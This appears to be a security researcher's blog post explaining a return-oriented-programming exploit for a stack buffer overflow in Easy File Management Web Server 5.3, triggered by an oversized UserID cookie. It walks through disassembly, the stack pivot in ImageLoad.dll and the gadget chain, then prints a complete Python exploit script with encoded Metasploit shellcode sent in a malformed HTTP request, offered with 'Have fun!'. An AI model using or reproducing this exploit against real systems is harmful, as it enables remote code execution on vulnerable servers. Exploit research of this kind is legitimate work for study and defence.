During the last few days a lot of nice Remote Exploits have been released over at Exploit-DB by one of my followers Harold aka superkojiman targeting applications by EFS Software Inc. First of all: Kudos to Harold, you did a really nice job :-)!
As I were looking through his releases, I noticed a special one which immediately drew my attention: Easy File Management Web Server 5.3 – Stack Buffer Overflow – especially the technique used to achieve code execution – according to one of the comments:
# only second byte changes in the stack address changes, so we can brute
# force it
I’ve tested this exploit multiple times against my WinXP VM, but unfortunately I noticed that the bruteforce-scenario wasn’t quite reliable, as the application crashed sometimes and it doesn’t work on Windows 7/8 – the application does not crash at all.
So I thought that there has to be a way to execute some code without the need of brute forcing the stack-address. Here’s the write-up on my exploit that works reliably on all MS OS up to 8 🙂
Method #1 – Brute Force the Stack Address
Before moving on, let’s just have a quick look at the vulnerability itself and the reason why you could brute-force the stack address. Taken from the exploit comments:
# By setting UserID in the cookie to a long string, we can overwrite EDX which
# allows us to control execution flow when the following instruction is
# executed:
A quite common buffer overflow scenario 🙂 – in means of assembly:
004686FE |. 53 PUSH EBX 004686FF |. 53 PUSH EBX 00468700 |. 8BCF MOV ECX,EDI 00468702 |. FF52 28 CALL DWORD PTR DS:[EDX+28] <--- crash 00468705 |. 385E 02 CMP BYTE PTR DS:[ESI+2],BL 00468708 |. 74 10 JE SHORT fmws.0046871A 0046870A |. 8B07 MOV EAX,DWORD PTR DS:[EDI] 0046870C |. 8D4E 20 LEA ECX,DWORD PTR DS:[ESI+20] 0046870F |. 68 703C0000 PUSH 3C70 00468714 |. 51 PUSH ECX 00468715 |. 8BCF MOV ECX,EDI
Due to the oversized UserID value, the attacker gets control over EDX, which is afterwards used in a pointer call at 0x00468702. This may result in a possible redirection of the application flow and EDI points to somewhere inside the overwritten stack-part. Please notice the addresses of the overwritten stack-part:
The reason why to use a brute-forcing method is simply the following: If you restart the application and try to exploit the same flaw a second time, the location of the overwritten stack-part may have changed:
So if you try to build an exploit that relies on the stack-address, the brute-forcing method may be the only solution to solve this problem.
Method #2: Feed the Call Pointer with Something Trusted
The second method is quite simple in its idea: Do not use a stack address in your exploit! 😀 😀 …. Instead use trusted code segments (that don’t change their address in memory – they’re not rebased!) and/or use only relative exploiting methods like ROP :-).
Enough gibberish. Let’s have a look at the technical details.
Instead of feeding the CALL DWORD PTR DS:[EDX+28] at 0x00468702 with an address from the stack, let’s feed it with a pointer to an address within the .text segment of ImageLoad.dll, which finally should do the stackpivoting. After a really long search for a usable pointer, I found this one using lovely mona.py:
0x1001d89b : {pivot 604 / 0x25c} : # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN ** [ImageLoad.dll] **
All you have to do is find a string in the .text segment of ImageLoad.dll which is before and of course near to (more about this later) the stack pivot address at 0x1001d89b.
Searching for the string “\xD8\x01\x10” results in a perfect match at 0x1001D8F0 that contains “\x7A\xD8\x01\x10”, which is due to little endianess 0x1001D87A:
The code starting at 0x1001087A up to the start of the stackpivot (0x1001D89B) is:
1001D87A 8BBC24 64020000 MOV EDI,DWORD PTR SS:[ESP+264] <-- ptr from ImageLoad.dll 1001D881 8A1F MOV BL,BYTE PTR DS:[EDI] 1001D883 47 INC EDI 1001D884 84DB TEST BL,BL 1001D886 885C24 40 MOV BYTE PTR SS:[ESP+40],BL 1001D88A 89BC24 64020000 MOV DWORD PTR SS:[ESP+264],EDI 1001D891 ^0F85 DEF7FFFF JNZ ImageLoa.1001D075 1001D897 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 1001D89B 5F POP EDI <-- stackpivot! 1001D89C 5E POP ESI 1001D89D 5D POP EBP 1001D89E 5B POP EBX 1001D89F 81C4 4C020000 ADD ESP,24C 1001D8A5 C3 RETN
This is a quite good match, because there are only a few instructions between the .text segment pointer and the stackpivot instructions! And that’s the reason why you should pick an address that is close to your stackpivot, otherwise there may be instructions that change major parts of your stack or even jump to undesired memory locations resulting in loss of application flow.
Now that you have an address for the CALL DWORD PTR DS:[EDX+28] instruction from the .text segment, notice that 28h are added to EDX, which means you have to substract it: 0x1001D8F0 – 28h = 0x1001D8C8
Feed it! Great the application flow was successfully redirected to 0x1001D87A!
Ok, just a few more problems to solve. The application flow was redirected but the application crashes due to an access violation at 0x1001D881:
1001D87A 8BBC24 64020000 MOV EDI,DWORD PTR SS:[ESP+264] 1001D881 8A1F MOV BL,BYTE PTR DS:[EDI] 1001D883 47 INC EDI 1001D884 84DB TEST BL,BL 1001D886 885C24 40 MOV BYTE PTR SS:[ESP+40],BL 1001D88A 89BC24 64020000 MOV DWORD PTR SS:[ESP+264],EDI 1001D891 ^0F85 DEF7FFFF JNZ ImageLoa.1001D075
The content of ESP-264 is MOVed to EDI and afterwards the contents are copied to BL. So you need an address which is readable (for the MOV instruction) and which can be used to pass the JNZ instruction at 0x1001D891, otherwise the JNZ instruction will take your application flow control. To achieve this, you simply need a 0-value in BL:
There’s a usable value at 0x10010125, which contains \x00\x00\x00\x00! This results in EBX being zeroed out and the Zero-Flag is set (due to the TEST BL,BL at 0x1001D884):
This means that the JNZ instruction at 0x1001D891 is not taken and the application continues to execute the stackpivot up to the RETN. Then it would move on to a pop/pop/ret instruction at 0x10010101:
ROPing to the Shellcode
The following diagram shows how the further ROPing leads to the executing of the shellcode.
Step #1:
This is the first RET after the stackpivot. ESP+25C contains 0x10010101, which is a simple p/p/r instruction set:
POP EBX # POP ECX # RETN [ImageLoad.dll]
It pops the following two values at ESP+260 0xA445ABCF and at ESP+264 0x10010125. Now the value at ESP+264 is already familiar to you, because it’s used to set the Zero-Flag in the TEST BL, BL instruction at 0x1001D884, so you can POP that somewhere.
The value 0xA445ABCF is used to craft a JMP ESP call on the stack. So why that? As every \x00 would break the Exploit and there are only two JMP ESP instructions in non-OS modules:
0x006a3a0d (b+0x00073a0d) : jmp esp | startnull,ascii {PAGE_EXECUTE_READ} [LIBEAY32.dll] ASLR: False, Rebase: True, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Management Web Server\LIBEAY32.dll) 0x00457452 : jmp esp | startnull,asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [fmws.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.3.0.0 (C:\EFS Software\Easy File Management Web Server\fmws.exe)
And both are starting with 00, you need to craft the value for one of them directly on the stack. That’s by the way the same reason why you have to stick to the ImageLoad.dll during the whole ROPing, because it’s the only module that does not start with a 0x00!
Step #2:
The instruction at ESP+268 (0x10022AAC)
MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll]
moves the value of EBX (0xA445ABCF) into EAX for some more crafting magic. The included p/p/r just moves two dummy values 0xDEADBEEF to ESI and EBX, because I haven’t found any shorter instructions sets.
Step #3:
Here’s the crafting magic. The instruction at 0x1001a187 is a simple:
ADD EAX,5BFFC883 # RETN [ImageLoad.dll]
It adds 0x5BFFC8822 to EAX which contains 0xA445ABCF. The result of this addition is: 0x00457452, which contains the JMP ESP from Step #1.
Step #4:
The instruction at ESP+278 (0x1002466d):
PUSH EAX # RETN [ImageLoad.dll]
PUSHes the crafted JMP ESP value from EAX onto the stack and RETs (executes it).
Step #5/#6:
ESP is now pointing to the nopsled:
and it executes the shellcode resulting i a poped calc.exe:
Pwned. Reliably pwned.
The Exploit
Have fun! 🙂
 #!/usr/bin/python # Exploit Title: Easy File Management Web Server v5.3 - USERID Remote Buffer Overflow (ROP) # Version: 5.3 # Date: 2014-05-31 # Author: Julien Ahrens (@MrTuxracer) # Homepage: https://www.rcesecurity.com # Software Link: http://www.efssoft.com/ # Tested on: WinXP-GER, Win7x64-GER, Win8-EN, Win8x64-GER # # Credits for vulnerability discovery: # superkojiman (http://www.exploit-db.com/exploits/33453/) # # Howto / Notes: # This scripts exploits the buffer overflow vulnerability caused by an oversized UserID - string as # discovered by superkojiman. In comparison to superkojiman's exploit, this exploit does not # brute force the address of the overwritten stackpart, instead it uses code from its own # .text segment to achieve reliable code execution. from struct import pack import socket,sys import os host="192.168.0.1" port=80 junk0 = "\x90" * 80 # Instead of bruteforcing the stack address, let's take an address # from the .text segment, which is near to the stackpivot instruction: # 0x1001d89b : {pivot 604 / 0x25c} # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,24C # RETN [ImageLoad.dll] # The memory located at 0x1001D8F0: "\x7A\xD8\x01\x10" does the job! # Due to call dword ptr [edx+28h]: 0x1001D8F0 - 28h = 0x1001D8C8 call_edx=pack('<L',0x1001D8C8) junk1="\x90" * 280 ppr=pack('<L',0x10010101) # POP EBX # POP ECX # RETN [ImageLoad.dll] # Since 0x00 would break the exploit, the 0x00457452 (JMP ESP [fmws.exe]) needs to be crafted on the stack crafted_jmp_esp=pack('<L',0xA445ABCF) test_bl=pack('<L',0x10010125) # contains 00000000 to pass the JNZ instruction kungfu=pack('<L',0x10022aac) # MOV EAX,EBX # POP ESI # POP EBX # RETN [ImageLoad.dll] kungfu+=pack('<L',0xDEADBEEF) # filler kungfu+=pack('<L',0xDEADBEEF) # filler kungfu+=pack('<L',0x1001a187) # ADD EAX,5BFFC883 # RETN [ImageLoad.dll] # finish crafting JMP ESP kungfu+=pack('<L',0x1002466d) # PUSH EAX # RETN [ImageLoad.dll] nopsled="\x90" * 20 # windows/exec CMD=calc.exe # Encoder: x86/shikata_ga_nai # powered by Metasploit # msfpayload windows/exec CMD=calc.exe R | msfencode -b '\x00\x0a\x0d' shellcode=("\xda\xca\xbb\xfd\x11\xa3\xae\xd9\x74\x24\xf4\x5a\x31\xc9" + "\xb1\x33\x31\x5a\x17\x83\xc2\x04\x03\xa7\x02\x41\x5b\xab" + "\xcd\x0c\xa4\x53\x0e\x6f\x2c\xb6\x3f\xbd\x4a\xb3\x12\x71" + "\x18\x91\x9e\xfa\x4c\x01\x14\x8e\x58\x26\x9d\x25\xbf\x09" + "\x1e\x88\x7f\xc5\xdc\x8a\x03\x17\x31\x6d\x3d\xd8\x44\x6c" + "\x7a\x04\xa6\x3c\xd3\x43\x15\xd1\x50\x11\xa6\xd0\xb6\x1e" + "\x96\xaa\xb3\xe0\x63\x01\xbd\x30\xdb\x1e\xf5\xa8\x57\x78" + "\x26\xc9\xb4\x9a\x1a\x80\xb1\x69\xe8\x13\x10\xa0\x11\x22" + "\x5c\x6f\x2c\x8b\x51\x71\x68\x2b\x8a\x04\x82\x48\x37\x1f" + "\x51\x33\xe3\xaa\x44\x93\x60\x0c\xad\x22\xa4\xcb\x26\x28" + "\x01\x9f\x61\x2c\x94\x4c\x1a\x48\x1d\x73\xcd\xd9\x65\x50" + "\xc9\x82\x3e\xf9\x48\x6e\x90\x06\x8a\xd6\x4d\xa3\xc0\xf4" + "\x9a\xd5\x8a\x92\x5d\x57\xb1\xdb\x5e\x67\xba\x4b\x37\x56" + "\x31\x04\x40\x67\x90\x61\xbe\x2d\xb9\xc3\x57\xe8\x2b\x56" + "\x3a\x0b\x86\x94\x43\x88\x23\x64\xb0\x90\x41\x61\xfc\x16" + "\xb9\x1b\x6d\xf3\xbd\x88\x8e\xd6\xdd\x4f\x1d\xba\x0f\xea" + "\xa5\x59\x50") payload=junk0 + call_edx + junk1 + ppr + crafted_jmp_esp + test_bl + kungfu + nopsled + shellcode buf="GET /vfolder.ghp HTTP/1.1\r\n" buf+="User-Agent: Mozilla/4.0\r\n" buf+="Host:" + host + ":" + str(port) + "\r\n" buf+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" buf+="Accept-Language: en-us\r\n" buf+="Accept-Encoding: gzip, deflate\r\n" buf+="Referer: http://" + host + "/\r\n" buf+="Cookie: SESSIONID=1337; UserID=" + payload + "; PassWD=;\r\n" buf+="Conection: Keep-Alive\r\n\r\n" print "[*] Connecting to Host " + host + "..." s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: connect=s.connect((host, port)) print "[*] Connected to " + host + "!" except: print "[!] " + host + " didn't respond\n" sys.exit(0) print "[*] Sending malformed request..." s.send(buf) print "[!] Exploit has been sent!\n" s.close()